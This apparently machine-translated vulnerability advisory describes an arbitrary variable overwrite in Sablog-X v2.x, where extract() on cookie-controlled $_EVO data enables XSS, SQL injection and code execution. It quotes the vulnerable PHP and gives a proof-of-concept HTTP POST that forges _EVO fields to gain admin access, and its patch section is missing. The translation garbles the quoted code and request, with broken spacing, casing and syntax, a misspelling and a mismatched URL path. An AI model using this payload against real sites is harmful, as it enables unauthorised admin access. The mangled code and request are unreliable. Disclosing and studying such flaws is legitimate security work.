Sablog-X v2.x arbitrary variable Overwrite Vulnerability

Author: 80vul-B
Team: http://www.80vul.com

An illustration:

Because Sablog-x common in v2.x. inc. the $ _ EVO initialization in php has a logic vulnerability. As a result, extract () can be used to overwrite arbitrary variables, resulting in many serious security vulnerabilities such as xss, SQL injection, and code execution.

2. Analysis

In the common. inc. php code:

....
$ Onoff = function_exists (ini_get )? Ini_get (register_globals): get_resource_var (register_globals );
If ($ onoff! = 1 ){
@ Extract ($ _ COOKIE, EXTR_SKIP );
@ Extract ($ _ POST, EXTR_SKIP );
@ Extract ($ _ GET, EXTR_SKIP );
}
...
$ Sax_auth_key = md5 ($ onlineip. $ _ SERVER [HTTP_USER_AGENT]);
List ($ sax_uid, $ sax_pw, $ sax_logincount) = $ _ COOKIE [sax_auth]? Explode ("", authcode ($ _ COOKIE [sax_auth], DECODE): array (,,);
$ Sax_hash = sax_addslashes ($ _ COOKIE [sax_hash]);
...
$ Seccode = $ sessionexists = 0;
If ($ sax_hash ){
...
If ($ _ EVO = $ DB-> fetch_array ($ query) {// $ _ EVO the initialization process is in if ($ sax_hash). if the if condition is not met, the initialization process will be skipped.
...
}
If (! $ Sessionexists ){
If ($ sax_uid ){
If (! ($ _ EVO = $ DB-> fetch_one_array ("SELECT $ userfields FROM {$ db_prefix} users u WHERE u. userid = $ sax_uid AND u. password = $ sax_pw AND u. lastip = $ onlineip "))){
...
@ Extract ($ _ EVO); // overwrite any variable

As you can see from the code snippet above, as long as the Boolean values of $ sax_hash and $ sax_uid are fales, $ _ EVO will not be assigned a value, the $ sax_hash and $ sax_uid variables are free $ _ COOKIE, so that we can easily control $ _ EVO and then overwrite arbitrary variables through extract, this will cause many serious security vulnerabilities such as xss, SQL inj, and code execution :)

3. Exploitation

The following is a PoC for background permission spoofing:

POST http: // 127.0.0.1/WordPress/cp. php HTTP/1.1
Accept :*/*
Accept-Language: zh-cn
Referer: http: // 127.0.0.1/sax/cp. php
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Content-Length: 138
Connection: Close

_ EVO [sax_uid] = 1 & _ EVO [sax_pw] = 1 & _ EVO [sax_logincount] = 1 & _ EVO [sax_hash] = 1 & _ EVO [sax_group] = 1 & _ EVO [sax_auth_key] = 1 & _ EVO [timestamp] = 111111111111

Four patches [fix]

Missing